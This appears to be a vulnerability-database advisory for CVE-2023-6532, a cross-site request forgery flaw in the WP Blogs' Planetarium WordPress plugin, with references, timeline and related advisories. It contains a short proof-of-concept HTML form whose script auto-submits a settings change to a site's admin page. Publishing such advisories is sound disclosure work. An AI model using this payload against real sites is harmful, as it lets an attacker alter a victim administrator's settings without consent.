WP Blogs' Planetarium <= 1.0 – Settings Update via CSRF | CVE 2023-6532 | Plugin Vulnerabilities

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

<form action="https://example.com/wp-admin/options-general.php?page=wp-blogs-planetarium%2Fwbp.php" method="POST">
    <input type="text" name="key" value="hacked">
</form>
<script>
    document.forms[0].submit();
</script>

Affects Plugins

wp-blogs-planetarium

No known fix

References

CVE

URL

https://magos-securitas.com/txt/CVE-2023-6532.txt

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CVSS

Miscellaneous

Original Researcher

Daniel Ruf

Submitter

Daniel Ruf

Submitter website

https://magos-securitas.com

Verified

Yes

WPVDB ID

05a730bc-2d72-49e3-a608-e4390b19e97f

Timeline

Publicly Published

2023-11-13 (about 2 years ago)

Added

2023-12-18 (about 2 years ago)

Last Updated

2023-12-18 (about 2 years ago)

Other

Published

Title

Published

2023-09-27

Title

Woocommerce ESTO < 2.23.2 - Settings Update via CSRF

Published

2025-04-04

Title

404 Image Redirection (Replace Broken Images) <= 1.4 - Cross-Site Request Forgery

Published

2023-03-14

Title

Chronoforms <= 7.0.9 - CSRF

Published

2025-10-16

Title

Product Catalog Simple < 1.8.5 - Cross-Site Request Forgery

Published

2023-01-27

Title

Booking calendar, Appointment Booking System < 3.2.4 - Form Creation/Update/Deletion/Duplication via CSRF